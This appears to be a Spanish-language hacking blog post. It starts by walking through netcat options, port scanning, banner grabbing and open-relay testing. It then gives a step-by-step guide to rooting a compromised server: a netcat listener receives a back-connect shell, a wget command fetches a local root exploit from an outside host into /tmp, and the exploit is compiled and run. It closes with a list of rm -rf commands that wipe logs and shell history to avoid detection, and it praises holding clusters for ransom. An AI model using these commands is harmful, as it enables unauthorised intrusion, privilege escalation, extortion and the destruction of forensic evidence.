NETCAT SERVER ROOTING


Rooteando con NetCat .. 

(y por qué amaré yo tanto a mi nc...?)


                                    

Bueno, siempre he sido un amante fiel de mi gatito de red ..Miaaaaaaau !!


Este navaja suiza ha hecho las maravillas de millones de hackers teniéndolo como todo en uno. La GRAN NAVAJA SUIZA. 


Infinidad de cosas le han llamado a NetCat, pero sabéis cual es la verdad .. pues es que es el mejor Troyano Indetectable que puede haber, la mejor herramienta para "rootear" un servidor, es tu amigo "cotilla" ( on listen) si quieres dejarlo "a ver que se dice por este puerto .." . En fin, infinidad de cosas que ya iré explicando, de hecho, quedaros con esto.. si controlaís net-cat, tendreís la llave maestra para lograr el objetivo de más alto nivel, conseguir "rootear" un servidor, o "secuestrar un cluster", algo que tendría consecuencias nefastas .. Por qué? porque cuando secuestras un cluster es para pedir dinero por el "secuestrado" y devolvérselo tal y como está ... pero direís .. tengo BackUp, a mi plim..


Bien, atiende, si te secuestro el cluster tengo tus copias de seguridad, por  lo tanto dudo mucho que puedas hacer nada .. de hecho uno de los juegos preferidos de los malos malosos es el secuestro de cluster y pedir al CEO mucha pasta por que le devuelvan "su vida" SANO y SALVO .. por eso se llama secuestro no?
Bueno al lío .. vamos directamente a Rootear( hacernos root) coño , pero a la manera hacker .. no "mariconadillas" web no .. "cazar2 bien cazado al admin .. eso es hackear y por lo tanto Rootear !!


Pero antes una introducción de comandos y tal ..


La línea básica de comandos para Netcat es:



 nc [opciones] host puertos, donde host es la dirección IP que se desea analizar y puertos es o un determinado puerto o un rango de puertos o una serie de puertos separados por espacios.


 Vamos a cotillear a cada una de las opciones.




                                      






-d Permite que nc trabaje en forma silenciosa y se desenganche del indicador de comandos MS-DOS.


-e <comando> Un nc a la escucha podrá ejecutar el <comando> en el instante en que alguien se conecte al puerto en el que está escuchando.


-i <segundos> Intervalo de espera, que es la cantidad de tiempo que nc esperará entre dos envíos de datos sucesivos.


-g <lista-de-ruta> Se pueden especificar hasta 8 opciones –g en la línea de comandos para forzar que su tráfico nc pase por determinadas direcciones IP.


-G <puntero de saltos> Esta opción le permitirá definir que dirección IP va a ser el siguiente salto dentro de la ruta indicada con la opción –g.


-l Activa el modo escucha de nc.


-L Activa el modo escucha de nc pero con más interés.


-n Indica a nc que no realice ninguna consulta de nombres de hosts.


-o <archivohex> Realiza un volcado hexadecimal de los datos y los 
almacena en un archivo hexadecimal.


-p <puerto> Le permite especificar el puerto local que va a utilizar nc.


-r Nc elegirá aleatoriamente los puertos locales y remotos.


-s Especifica la dirección IP de origen que deberá utilizar nc cuando efectue sus conexiones.


-t Es capaz de controlar la negociación de opciones Telnet.


-u Indica a nc que utilice UDP en lugar de TCP.


-v Informa el estado de nc, si pones otra –v podrás obtener más información.


-w <segundos> Controla cuanto tiempo va a esperar nc antes de dar por terminada una conexión.


-z Le dice a nc que envíe la cantidad de datos necesarias para conocer en que puertos se está escuchando algo.


                                




Las opciones que nos interesan para el escaneo de puertos son las siguientes: 

–i segs Intervalo en segundos entre cada puerto escaneado 
–r Aleatorización de los puertos de origen y destino 
–u Puertos UDP (por defecto utiliza puertos TCP) 
–v Modo explicativo (si utilizamos -vv será aún más explicativo) 
–z No realiza una conexión completa (interesante para los escaneos) 

Así que, para escanear los puertos TCP 50, 100 y 105 de www.tontodelculo.com, podemos hacer lo siguiente: 

juanki@debian:~$ nc -vv -i1 -r -z www.tontodelculo.com 25, 53, 80, 110 
www.tontodelculo.com [ip.ip.ip.ip] 80 (www) open 
www.tontodelculo.com [ip.ip.ip.ip] 53 (domain) : Connection refused 
www.tontodelculo.com [ip.ip.ip.ip] 110 (pop3) : Connection refused 
www.tontodelculo.com [ip.ip.ip.ip] 25 (smtp) : Connection refused 

Como podemos observar, de los puertos que probamos, sólo el 80 (HTTP) está abierto. 

También podemos utilizar rangos de puertos, por ejemplo, para escanear los puertos desde el 1 hasta el 3000: 

nc -vv -i1 -r -z www.escaneame.com 1-3000 

Banner Grabbing  (AUMENTANDO LETRA)



                                           
Esta es una técnica de enumeración, que consiste en capturar los banners que muestran las aplicaciones al conectarnos a ellas. 

Podremos obtener información como el tipo de software, la versión y el sistema operativo. Esto se torna de vital importancia cuando estamos buscando vulnerabilidades en un sistema. 

Podemos hacerlo  con HTTP (puerto 80). Una vez conectados, enviamos un requerimiento, para anlizar la respuesta. 



En este caso, el requerimiento a enviar será “HEAD / HTTP/1.0″, que solicita los encabezados del servidor. (NOTA: Tenemos que presionar dos veces la teclar ‘ENTER’ después de haber escrito el requerimiento para que el servidor lo procese). 

Borré los datos del servidor para no comprometer a nadie, pero VOSTROS podríais obtener algo así: 

juanki@debian:~$ nc -v servidorweb.com 80 

servidorweb.com [ip.ip.ip.ip] 80 (www) open 
HEAD / HTTP/1.0 

HTTP/1.1 200 OK 
Date: Thu, 28 Apr 2011 05:33:50 GMT 
Server: Apache/2.0.59 (CentOS) 
X-Powered-By: PHP/5.1.6 
Content-Type: text/html; charset=iso-8859-1 
Connection: close 

Si analizamos la respuesta, veremos que el servidor utilizado es Apache 2.0.59, corriendo sobre un sistema operativo CentOS. 

También podemos hacerlo con los servidores SMTP, con: 

juanki@debian:~$ nc -vv smtp.gmail.com 25 

Obtendremos una respuesta similar a la siguiente: 

220 mx.google.com ESMTP g69sm740211yhc.88 

Lo cual significa “Service Ready”, según la RFC-821 (http://www.ietf.org/rfc/rfc0821.txt). Básicamente nos está diciendo que el servicio SMTP está listo para recibir órdenes. 




Conociendo un poco más acerca de los servidores SMTP 
Cada vez que nos conectamos a un servidor SMTP, podemos solicitarle información acerca de los comandos que soporta, pasando el requerimiento “EHLO”, de la siguiente manera: 

juanki@debian:~$ nc -vv smtp.gmail.com 25 
gmail-smtp-msa.l.google.com [74.125.45.109] 25 (smtp) open 
220 mx.google.com ESMTP s21sm751894yhn.93 
EHLO 
250-mx.google.com at your service, [ip.ip.ip.ip] 
250-SIZE 35882577 
250-8BITMIME 
250-STARTTLS 
250 ENHANCEDSTATUSCODES 

De esta forma podemos obtener información acerca del servidor SMTP al cuál nos estamos conectando. Este tipo de peticiones se utiliza por varios clientes de correo para saber qué tipo de comandos soporta el servidor, qué métodos de autenticación, etc. 
Podemos ir probando también los  servidores de mail ‘Open Relay’... 


                                  

Los servidores de mail "open relay " son aquellos que permiten enviar un mail desde cualquier origen a cualquier destino, por lo que son excelentes candidatos a ser utilizados por los Spammers. Es importante aclarar que estos servidores están MAL configurados, y nosotros podemos hacer la prueba que explico más abajo para detectar malas configuraciones y corregirlas. 

Por ejemplo, vamos a conectarnos al puerto smtp (TCP 25) de mail.algo.com, así: nc -vv mail.algo.com 25 

220 <hostname> ESMTP Sendmail 8.14.2/8.14.2; Sun, 24 Feb 2008 11:16:40 -0500 
MAIL FROM:gbush@whitehouse.gov 
250 2.1.0gbush@whitehouse.gov… Sender ok 
RCPT TO: bill.gates@microsoft.com 
250 2.1.5 bill.gates@microsoft.com… Sender ok 

Con “MAIL FROM:” estamos definiendo el mail de origen, y con “RCTP TO:” estamos definiendo el destinatario. En este caso, el servidor no tiene relación con los dominios ‘whitehouse.gov’ ni con ‘microsoft.com’. Igualmente, nos ha contestado con “OK” y nos permitiría enviar el correo. Esta es una configuración errónea que suele estar corregida en la gran mayoría de las configuraciones por defecto de los software de correo, pero aún podemos encontrar alguno que otro por la red. 

Para conocer mejor cómo interactuar con cada uno de los servicios estándar de internet, les sugiero investigar las RFC correspondientes a cada estándar. No es necesario que lean toooda la RFC, generalmente los comandos aceptados se encuentran en resumenes, por wikipedia u otras fuentes. 





"ROOTING MAFIA SERVERS WHIT NET-CAT"
 (Vamos haciéndonos Root ..)


Cosas que se necesitan:


-Netcat
-Sitio " a COMPROMETER" antes de meter siempre ..
                          (shelled site)
-Un Expl0it raíz local 8 por ejemplo) ( Local Root Explot)




 Pasito a pasito P:


En primer lugar vamos a Ejecutar y escribir cmd a continuación escriba:

cd C: \ Archivos de programa \ Netcat (Asegúrese de que Netcat se guarda en el directorio siguiente).


                         




                            Tengo que cortar por prisa ..


Ahora escribe: nc-n-l-v-p 443, entonces aparece esto .. como la imagen se muestra a continuación.


                           
                                pipipipipipi


Momento de abrir la shell y conectar a continuación claro, utilizando "back connect function"
(Asegúrate  que no estás usando alguna de VPN o proxy). 


Luego, después de tener establecida la conexión, verás algo como se muestra en la pantalla de abajo.


                         




Así se ha conectado .. Entonces, ahora tenemos que pillar nuestro "local Root Explot" y yo tengo este .. que  es 2.6.18-374 2011.


                   




En este paso tenemos que subir nuestro exploit en una carpeta de escritura, así que en vez de perder el tiempo en la búsqueda de ellos .. sólo podemos cambiar el directorio a la carpeta / tmp que es una carpeta de escritura estándar.


Escriba este comando para cambiar de directorio en / tmp: cd / tmp


Para cargar el exploit  vamos a utilizar la función de wget.


"Pica" wget http://www.somesite.com/exploit.c 


Perfecto nene, esto va a cargar el exploit en la carpeta tmp.... pipipipi !!!!






(Caso 1) ...si ha subido tu exploit como. C (exploit.c) tenemos que compilarlo, por lo que para compilarlo, escribiremos el siguiente comando.


Pica: gcc-o exploit exploit.c


Ten en cuenta en la explotación de comandos anterior se refiere al nombre de mi exploit (exploit.c). Por lo que tiene que estar compilado correctamente .. si no te buscas otro exploits ( tienes miles , busaca coño busca) hasta que lo compilases bien o funcione


(Caso 2)... Si has subido el exploit en un archivo zip, entonces hay que descomprimirlo con el comando :


Pica: unzip exploit.zip


Después de haber hecho todos los pasos anteriores correctamente, es hora de dar permisos ... escribe el siguiente comando para más que nada empezar a ser el root ...


Pica: chmod 777 exploit


Ahora es el momento de ejecutar el exploit, para ejecutar el exploit escribiendo el comando


Pica:. / Exploit


Ahora el exploit se ejecuta y el servidor será ROOTEADO :P. 


lO COMPROBAMOS .. quien soy?


Pica: id o whoami


y no lo pongo en imágenes por razones tontas y de prisa... pero si no sale después de picar esto ..


$root .. pues como que repite los pasos porque algo te has comido .. ( es normal que no te salga a la primera, y a lo mejor ni a la octava, pero lo saces fijo .. hacking madrid te lo garantiza ..)




Limpiando Logs


( o como darle bola a los logs para que no te cacen ..)


... así que a continuación son algunos comandos para eliminar los archivos de registro.


Como van, en orden .. Fucking Logs !


rm-rf / tmp / logs
rm-rf $ HISTFILE
rm-rf / root / .ksh_history
rm-rf / root / .bash_history
rm-rf / root / .ksh_history
rm-rf / root / .bash_logout
rm-rf / usr / local / apache / logs
rm-rf / usr / local / apache / log
rm-rf / var / apache / logs
rm-rf / var / apache / log
rm-rf / var / run / utmp
rm-rf / var / logs
rm-rf / var / log
rm-rf / var / adm
rm-rf / etc / wtmp
rm-rf / etc / utmp
history-c
find /-name * bash_history-exec rm-rf {} \.;
. find /-name * bash_logout-exec rm-rf {} \;
find /-name "* log"-exec rm-rf {} \;
. find /-name * log-exec rm-rf {} \;


Bueno majetes, que me piro .. teneís que hacerlo hasta que os salga ... y no paseís a otra técnica hasta la siguiente ok?


                                  MAQUIAVELO

Entradas populares de este blog

SHELLCODES por un tubo ....

Proteger ASP.NET de inyecciones SQL How T0? BEST PRACTICES

CERTIFICACIONES DE SEGURIDAD